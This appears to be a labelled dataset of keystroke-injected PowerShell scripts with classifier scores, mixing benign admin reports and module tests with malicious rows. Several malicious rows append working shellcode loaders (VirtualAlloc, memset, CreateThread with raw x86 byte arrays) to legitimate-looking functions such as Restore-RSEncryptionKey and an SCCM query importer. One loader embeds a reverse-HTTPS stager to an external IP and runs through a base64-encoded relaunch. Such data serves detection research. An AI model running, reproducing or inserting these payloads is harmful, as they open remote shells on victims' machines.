"win+r enter powershell enter enter enter function Restore-RSEncryptionKey enter { enter [CmdletBinding(SupportsShouldProcess = $true, ConfirmImpact = 'Medium')] enter param enter ( enter [Parameter(Mandatory = $True)] enter [string] enter $Password, enter enter [Parameter(Mandatory = $True)] enter [string] enter $KeyPath, enter enter [Alias('SqlServerInstance')] enter [string] enter $ReportServerInstance, enter enter [Alias('SqlServerVersion')] enter [Microsoft.ReportingServicesTools.SqlServerVersion] enter $ReportServerVersion, enter enter [string] enter $ComputerName, enter enter [System.Management.Automation.PSCredential] enter $Credential enter ) enter enter if ($PSCmdlet.ShouldProcess((Get-ShouldProcessTargetWmi -BoundParameters $PSBoundParameters), ""Restore encryptionkey from file $KeyPath"")) enter { enter $rsWmiObject = New-RsConfigurationSettingObjectHelper -BoundParameters $PSBoundParameters enter enter $KeyPath = Resolve-Path $KeyPath enter enter $reportServerService = 'ReportServer' enter enter if ($rsWmiObject.InstanceName -ne ""MSSQLSERVER"") enter { enter if($rsWmiObject.InstanceName -eq ""PBIRS"") enter { enter $reportServerService = 'PowerBIReportServer' enter } enter else enter { enter $reportServerService = $reportServerService + '$' + $rsWmiObject.InstanceName enter } enter } enter enter Write-Verbose ""Checking if key file path is valid..."" enter if (-not (Test-Path $KeyPath)) enter { enter throw ""No key was found at the specified location: $path"" enter } enter enter try enter { enter $keyBytes = [System.IO.File]::ReadAllBytes($KeyPath) enter } enter catch enter { enter throw enter } enter enter Write-Verbose ""Restoring encryption key..."" enter $restoreKeyResult = $rsWmiObject.RestoreEncryptionKey($keyBytes, $keyBytes.Length, $Password) enter enter if ($restoreKeyResult.HRESULT -eq 0) enter { enter Write-Verbose ""Success!"" enter } enter else enter { enter throw ""Failed to restore the encryption key! Errors: $($restoreKeyResult.ExtendedErrors)"" enter } enter enter try enter { enter if ($PSBoundParameters.ContainsKey('Credential')) enter { enter $getServiceParams = @{ enter Class = 'Win32_Service' enter Filter = ""Name = '$reportServerService'"" enter ComputerName = $rsWmiObject.PSComputerName enter Credential = $Credential enter } enter $service = Get-WmiObject @getServiceParams enter enter Write-Verbose ""Stopping Reporting Services Service... $reportServerService"" enter $null = $service.StopService() enter do { enter $service = Get-WmiObject @getServiceParams enter Start-Sleep -Seconds 1 enter } until ($service.State -eq 'Stopped') enter enter Write-Verbose ""Starting Reporting Services Service... $reportServerService"" enter $null = $service.StartService() enter do { enter $service = Get-WmiObject @getServiceParams enter Start-Sleep -Seconds 1 enter } until ($service.State -eq 'Running') enter } enter else enter { enter $service = Get-Service -Name $reportServerService -ComputerName $rsWmiObject.PSComputerName -ErrorAction Stop enter Write-Verbose ""Stopping Reporting Services Service... $reportServerService"" enter $service.Stop() enter $service.WaitForStatus([System.ServiceProcess.ServiceControllerStatus]::Stopped) enter enter Write-Verbose ""Starting Reporting Services Service... $reportServerService"" enter $service.Start() enter $service.WaitForStatus([System.ServiceProcess.ServiceControllerStatus]::Running) enter } enter } enter catch enter { enter throw (New-Object System.Exception(""Failed to restart Report Server database service. Manually restart it for the change to take effect! $($_.Exception.Message)"", $_.Exception)) enter } enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x92,0xe8,0x3a,0x10,0xda,0xd4,0xd9,0x74,0x24,0xf4,0x5e,0x29,0xc9,0xb1,0x47,0x31,0x56,0x13,0x03,0x56,0x13,0x83,0xee,0x6e,0x0a,0xcf,0xec,0x66,0x49,0x30,0x0d,0x76,0x2e,0xb8,0xe8,0x47,0x6e,0xde,0x79,0xf7,0x5e,0x94,0x2c,0xfb,0x15,0xf8,0xc4,0x88,0x58,0xd5,0xeb,0x39,0xd6,0x03,0xc5,0xba,0x4b,0x77,0x44,0x38,0x96,0xa4,0xa6,0x01,0x59,0xb9,0xa7,0x46,0x84,0x30,0xf5,0x1f,0xc2,0xe7,0xea,0x14,0x9e,0x3b,0x80,0x66,0x0e,0x3c,0x75,0x3e,0x31,0x6d,0x28,0x35,0x68,0xad,0xca,0x9a,0x00,0xe4,0xd4,0xff,0x2d,0xbe,0x6f,0xcb,0xda,0x41,0xa6,0x02,0x22,0xed,0x87,0xab,0xd1,0xef,0xc0,0x0b,0x0a,0x9a,0x38,0x68,0xb7,0x9d,0xfe,0x13,0x63,0x2b,0xe5,0xb3,0xe0,0x8b,0xc1,0x42,0x24,0x4d,0x81,0x48,0x81,0x19,0xcd,0x4c,0x14,0xcd,0x65,0x68,0x9d,0xf0,0xa9,0xf9,0xe5,0xd6,0x6d,0xa2,0xbe,0x77,0x37,0x0e,0x10,0x87,0x27,0xf1,0xcd,0x2d,0x23,0x1f,0x19,0x5c,0x6e,0x77,0xee,0x6d,0x91,0x87,0x78,0xe5,0xe2,0xb5,0x27,0x5d,0x6d,0xf5,0xa0,0x7b,0x6a,0xfa,0x9a,0x3c,0xe4,0x05,0x25,0x3d,0x2c,0xc1,0x71,0x6d,0x46,0xe0,0xf9,0xe6,0x96,0x0d,0x2c,0x92,0x93,0x99,0xea,0x7f,0x06,0x95,0x9d,0x7d,0x36,0x07,0xcd,0x0b,0xd0,0x17,0xa1,0x5b,0x4d,0xd7,0x11,0x1c,0x3d,0xbf,0x7b,0x93,0x62,0xdf,0x83,0x79,0x0b,0x75,0x6c,0xd4,0x63,0xe1,0x15,0x7d,0xff,0x90,0xda,0xab,0x85,0x92,0x51,0x58,0x79,0x5c,0x92,0x15,0x69,0x08,0x52,0x60,0xd3,0x9e,0x6d,0x5e,0x7e,0x1e,0xf8,0x65,0x29,0x49,0x94,0x67,0x0c,0xbd,0x3b,0x97,0x7b,0xb6,0xf2,0x0d,0xc4,0xa0,0xfa,0xc1,0xc4,0x30,0xad,0x8b,0xc4,0x58,0x09,0xe8,0x96,0x7d,0x56,0x25,0x8b,0x2e,0xc3,0xc6,0xfa,0x83,0x44,0xaf,0x00,0xfa,0xa3,0x70,0xfa,0x29,0x32,0x4c,0x2d,0x17,0x40,0xbc,0xed;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.208064e-05,0.9999479
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_je8wkn9b"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 10 Name, Id, CPU, WorkingSet64 | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_10.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Select-Object -First 100 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.json"") -Encoding UTF8 enter",0,0,0.99996555,3.448466e-05
"win+r enter powershell enter enter enter $v = '$R = ''[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress,uint dwSize,uint flAllocationType,uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes,uint dwStackSize,IntPtr lpStartAddress,IntPtr lpParameter,uint dwCreationFlags,IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest,uint src,uint count);'';$J = Add-Type -memberDefinition $R -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]] $x=0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x03,0x53,0x53,0x68,0xbb,0x01,0x00,0x00,0xe8,0x8a,0x00,0x00,0x00,0x2f,0x46,0x4f,0x4a,0x46,0x37,0x00,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x00,0x32,0xe0,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0x0a,0x5f,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x08,0x4f,0x75,0xd9,0xe8,0x4b,0x00,0x00,0x00,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcf,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x77,0xff,0xff,0xff,0x33,0x38,0x2e,0x31,0x32,0x36,0x2e,0x31,0x36,0x39,0x2e,0x31,0x30,0x37,0x00,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$C=$J::VirtualAlloc(0,[Math]::Max($x.Length,0x1000),0x3000,0x40);for($A=0;$A -le($x.Length-1);$A++){$J::memset([IntPtr]($C.ToInt32()+$A),$x[$A],1)|Out-Null};$J::CreateThread(0,0,$C,0,0,0);for(;;){Start-sleep 60};';$n=[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($v));$a=$ENV:Processor_Architecture;if($a -ne'x86'){iex ""& $env:SystemRoot\syswow64\windowspowershell\v1.0\powershell.exe -enc $n""}else{iex $v}; enter enter",1,1,5.1407493e-05,0.9999486
"win+r enter powershell enter enter enter  enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [parameter(Mandatory=$true, HelpMessage=""Site server where the SMS Provider is installed"")] enter [ValidateScript({Test-Connection -ComputerName $_ -Count 1 -Quiet})] enter [ValidateNotNullOrEmpty()] enter [string]$SiteServer, enter [parameter(Mandatory=$true, HelpMessage=""Specify a valid path to where the XML file containing the Queries will be stored"")] enter [ValidateNotNullOrEmpty()] enter [ValidatePattern(""^[A-Za-z]{1}:\\\w+\\\w+"")] enter [ValidateScript({ enter enter if ((Split-Path -Path $_ -Leaf).IndexOfAny([IO.Path]::GetInvalidFileNameChars()) -ge 0) { enter Throw ""$(Split-Path -Path $_ -Leaf) contains invalid characters"" enter } enter else { enter enter if ([System.IO.Path]::GetExtension((Split-Path -Path $_ -Leaf)) -like "".xml"") { enter enter if (Test-Path -Path $_ -PathType Leaf) { enter return $true enter } enter else { enter Throw ""Unable to locate part of or the whole specified path, specify a valid path to an exported XML file"" enter } enter } enter else { enter Throw ""$(Split-Path -Path $_ -Leaf) contains an unsupported file extension. Supported extension is '.xml'"" enter } enter } enter })] enter [string]$Path enter ) enter Begin { enter enter try { enter Write-Verbose ""Determining SiteCode for Site Server: '$($SiteServer)'"" enter $SiteCodeObjects = Get-WmiObject -Namespace ""root\SMS"" -Class SMS_ProviderLocation -ComputerName $SiteServer -ErrorAction Stop enter foreach ($SiteCodeObject in $SiteCodeObjects) { enter if ($SiteCodeObject.ProviderForLocalSite -eq $true) { enter $SiteCode = $SiteCodeObject.SiteCode enter Write-Debug ""SiteCode: $($SiteCode)"" enter } enter } enter } enter catch [System.UnauthorizedAccessException] { enter Write-Warning -Message ""Access denied"" ; break enter } enter catch [System.Exception] { enter Write-Warning -Message $_.Exception.Message ; break enter } enter } enter Process { enter enter [xml]$XMLData = Get-Content -Path $Path enter enter try { enter if ($XMLData.ConfigurationManager.Description -like ""Export of Queries"") { enter Write-Verbose -Message ""Successfully validated XML document"" enter } enter else { enter Write-Warning -Message ""Invalid XML document loaded"" ; break enter } enter foreach ($Query in ($XMLData.ConfigurationManager.Query)) { enter $NewInstance = ([WmiClass]""\\$($SiteServer) enter oot\SMS\site_$($SiteCode):SMS_Query"").CreateInstance() enter $NewInstance.Name = $Query.Name enter $NewInstance.Expression = $Query.Expression enter $NewInstance.TargetClassName = $Query.TargetClassName enter $NewInstance.Put() | Out-Null enter Write-Verbose -Message ""Imported query '$($Query.Name)' successfully"" enter } enter } enter catch [System.UnauthorizedAccessException] { enter Write-Warning -Message ""Access denied"" ; break enter } enter catch [System.Exception] { enter Write-Warning -Message $_.Exception.Message ; break enter } enter } enter $1CU = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $1CU -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xc4,0xd9,0x74,0x24,0xf4,0xba,0xd8,0xbb,0xf5,0xda,0x5f,0x2b,0xc9,0xb1,0x47,0x31,0x57,0x18,0x03,0x57,0x18,0x83,0xc7,0xdc,0x59,0x00,0x26,0x34,0x1f,0xeb,0xd7,0xc4,0x40,0x65,0x32,0xf5,0x40,0x11,0x36,0xa5,0x70,0x51,0x1a,0x49,0xfa,0x37,0x8f,0xda,0x8e,0x9f,0xa0,0x6b,0x24,0xc6,0x8f,0x6c,0x15,0x3a,0x91,0xee,0x64,0x6f,0x71,0xcf,0xa6,0x62,0x70,0x08,0xda,0x8f,0x20,0xc1,0x90,0x22,0xd5,0x66,0xec,0xfe,0x5e,0x34,0xe0,0x86,0x83,0x8c,0x03,0xa6,0x15,0x87,0x5d,0x68,0x97,0x44,0xd6,0x21,0x8f,0x89,0xd3,0xf8,0x24,0x79,0xaf,0xfa,0xec,0xb0,0x50,0x50,0xd1,0x7d,0xa3,0xa8,0x15,0xb9,0x5c,0xdf,0x6f,0xba,0xe1,0xd8,0xab,0xc1,0x3d,0x6c,0x28,0x61,0xb5,0xd6,0x94,0x90,0x1a,0x80,0x5f,0x9e,0xd7,0xc6,0x38,0x82,0xe6,0x0b,0x33,0xbe,0x63,0xaa,0x94,0x37,0x37,0x89,0x30,0x1c,0xe3,0xb0,0x61,0xf8,0x42,0xcc,0x72,0xa3,0x3b,0x68,0xf8,0x49,0x2f,0x01,0xa3,0x05,0x9c,0x28,0x5c,0xd5,0x8a,0x3b,0x2f,0xe7,0x15,0x90,0xa7,0x4b,0xdd,0x3e,0x3f,0xac,0xf4,0x87,0xaf,0x53,0xf7,0xf7,0xe6,0x97,0xa3,0xa7,0x90,0x3e,0xcc,0x23,0x61,0xbf,0x19,0xd9,0x64,0x57,0x62,0xb6,0x66,0x8a,0x0a,0xc5,0x68,0xd5,0x7b,0x40,0x8e,0x85,0x2b,0x03,0x1f,0x65,0x9c,0xe3,0xcf,0x0d,0xf6,0xeb,0x30,0x2d,0xf9,0x21,0x59,0xc7,0x16,0x9c,0x31,0x7f,0x8e,0x85,0xca,0x1e,0x4f,0x10,0xb7,0x20,0xdb,0x97,0x47,0xee,0x2c,0xdd,0x5b,0x86,0xdc,0xa8,0x06,0x00,0xe2,0x06,0x2c,0xac,0x76,0xad,0xe7,0xfb,0xee,0xaf,0xde,0xcb,0xb0,0x50,0x35,0x40,0x78,0xc5,0xf6,0x3e,0x85,0x09,0xf7,0xbe,0xd3,0x43,0xf7,0xd6,0x83,0x37,0xa4,0xc3,0xcb,0xed,0xd8,0x58,0x5e,0x0e,0x89,0x0d,0xc9,0x66,0x37,0x68,0x3d,0x29,0xc8,0x5f,0xbf,0x15,0x1f,0x99,0xb5,0x77,0xa3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$DZw=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($DZw.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$DZw,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2041716e-05,0.9999479
"win+r powershell enter  $location = ""southeastasia"" $resourceGroupName = ""pstestFSRG1bca8f8e"" $vaultN enter ame = ""PSTestFSRSV1bca8f8e"" $fileShareFriendlyName = ""pstestfs1bca8f8e"" $fileSha enter reName = ""AzureFileShare;pstestfs1bca8f8e"" $saName = ""pstestsa1bca8f8e"" $skuName enter =""Standard_LRS"" $policyName = ""AFSBackupPolicy"" function Test-AzureFSContainer enter enter",1,1,0.0003946934,0.99960536
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_41twytmb"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.json"") -Encoding UTF8 enter Write-Host ""Starting service_checks section 2."" enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Name | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.4902754e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_y3uchpmt"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name ""*security*"" -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.json"") -Encoding UTF8 enter",0,0,0.9999666,3.3409247e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_eefdpxyf"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_inbound.csv"") -NoTypeInformation enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_running.json"") -Encoding UTF8 enter",0,0,0.9999659,3.4055072e-05
"win+r enter powershell enter enter enter function Get-ModuleReleaseNotes enter { enter param( enter [Parameter(Mandatory=$true)] enter [string] enter enter $ManifestPath, enter enter [Parameter(Mandatory=$true)] enter [string] enter enter $ReleaseNotesPath enter ) enter enter Set-StrictMode -Version 'Latest' enter enter $Version = Test-ModuleManifest -Path $ManifestPath | Select-Object -ExpandProperty 'Version' enter if( -not $Version ) enter { enter Write-Error -Message ('Version not found in module manifest ''{0}''.' -f $ManifestPath) enter return enter } enter enter $foundVersion = $false enter $versionReleaseNotes = Get-Content -Path $ReleaseNotesPath | enter Where-Object { enter $line = $_ enter if( -not $foundVersion ) enter { enter if( $line -match ('^ enter { enter $foundVersion = $true enter return enter } enter } enter else enter { enter if( $line -match ('^ enter { enter $foundVersion = $false enter } enter } enter return( $foundVersion ) enter } enter if( -not $versionReleaseNotes ) enter { enter Write-Error -Message ('There are no release notes for version {0} in ''{1}''.' -f $Version,$ReleaseNotesPath) enter return enter } enter enter $versionReleaseNotes -join [Environment]::NewLine enter enter } enter enter",0,0,0.9999534,4.6601945e-05
"win+r powershell enter function Get-File{ [CmdletBinding()] param( [Parameter( Mandatory=$true)] enter [String] $Url, [Parameter( Mandatory=$false)] [String] $Path, enter enter",1,1,0.0010456991,0.9989543
"win+r enter powershell enter enter enter $projectRoot = ""$PSScriptRoot/.."" enter $moduleName = 'psake' enter $manifestPath = ""$PSScriptRoot/../src/psake.psd1"" enter $manifest = Import-PowerShellDataFile -Path $manifestPath enter enter $changelogPath = Join-Path -Path $projectRoot -Child 'CHANGELOG.md' enter enter Describe 'Module manifest' { enter Context 'Validation' { enter enter $script:manifest = $null enter enter It 'has a valid manifest' { enter { enter $script:manifest = Test-ModuleManifest -Path $manifestPath -Verbose:$false -ErrorAction Stop -WarningAction SilentlyContinue enter } | Should Not Throw enter } enter enter It 'has a valid name in the manifest' { enter $script:manifest.Name | Should Be $moduleName enter } enter enter It 'has a valid root module' { enter $script:manifest.RootModule | Should Be ""$($moduleName).psm1"" enter } enter enter It 'has a valid version in the manifest' { enter $script:manifest.Version -as [Version] | Should Not BeNullOrEmpty enter } enter enter It 'has a valid description' { enter $script:manifest.Description | Should Not BeNullOrEmpty enter } enter enter It 'has a valid author' { enter $script:manifest.Author | Should Not BeNullOrEmpty enter } enter enter It 'has a valid guid' { enter { enter [guid]::Parse($script:manifest.Guid) enter } | Should Not throw enter } enter enter It 'has a valid copyright' { enter $script:manifest.CopyRight | Should Not BeNullOrEmpty enter } enter enter $script:changelogVersion = $null enter It 'has a valid version in the changelog' { enter foreach ($line in (Get-Content $changelogPath)) { enter if ($line -match ""^ enter $script:changelogVersion = $matches.Version enter break enter } enter } enter $script:changelogVersion | Should Not BeNullOrEmpty enter $script:changelogVersion -as [Version] | Should Not BeNullOrEmpty enter } enter enter It 'changelog and manifest versions are the same' { enter $script:changelogVersion -as [Version] | Should be ( $script:manifest.Version -as [Version] ) enter } enter enter if (Get-Command git.exe -ErrorAction SilentlyContinue) { enter $script:tagVersion = $null enter It 'is tagged with a valid version' -skip { enter $thisCommit = git.exe log --decorate --oneline HEAD~1..HEAD enter enter if ($thisCommit -match 'tag:\s*(\d+(?:\.\d+)*)') { enter $script:tagVersion = $matches[1] enter } enter enter $script:tagVersion | Should Not BeNullOrEmpty enter $script:tagVersion -as [Version] | Should Not BeNullOrEmpty enter } enter enter It 'all versions are the same' { enter $script:changelogVersion -as [Version] | Should be ( $script:manifest.Version -as [Version] ) enter enter } enter } enter } enter } enter enter",0,0,0.99994075,5.923164e-05
"win+r enter powershell enter enter enter $scriptblock = enter { enter param ($Payload) enter $PipeName = ""PoshMS"" enter $p = [System.IO.Directory]::GetFiles(""\\.\\pipe\\"") enter $start = $true enter foreach ($i in $p) { enter if ($i -like ""*PoshMS"") { enter $start = $false enter } enter } enter while ($start) { enter add-Type -assembly ""System.Core"" enter $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity enter $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( ""Everyone"", ""ReadWrite"", ""Allow"" ) enter $PipeSecurity.AddAccessRule($AccessRule) enter $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,""InOut"",100, ""Byte"", ""None"", 1024, 1024, $PipeSecurity) enter $pipe.WaitForConnection(); enter enter $pipeReader = new-object System.IO.StreamReader($pipe) enter $pipeWriter = new-object System.IO.StreamWriter($pipe) enter $pipeWriter.AutoFlush = $true enter $pipeWriter.WriteLine($Payload); enter enter $pipeReader.Dispose(); enter $pipe.Dispose(); enter } enter exit enter } enter add-Type -assembly ""System.Core"" enter enter $MaxThreads = 5 enter $RunspacePool = [RunspaceFactory]::CreateRunspacePool(1, $MaxThreads) enter $RunspacePool.Open() enter $Jobs = @() enter $Job = [powershell]::Create().AddScript($ScriptBlock).AddArgument($payload) enter $Job.RunspacePool = $RunspacePool enter $Job.BeginInvoke() | Out-Null enter enter $pi = new-object System.IO.Pipes.NamedPipeClientStream(""."", ""PoshMS""); enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x64,0x68,0x02,0x00,0x07,0xe4,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.097852e-05,0.999949
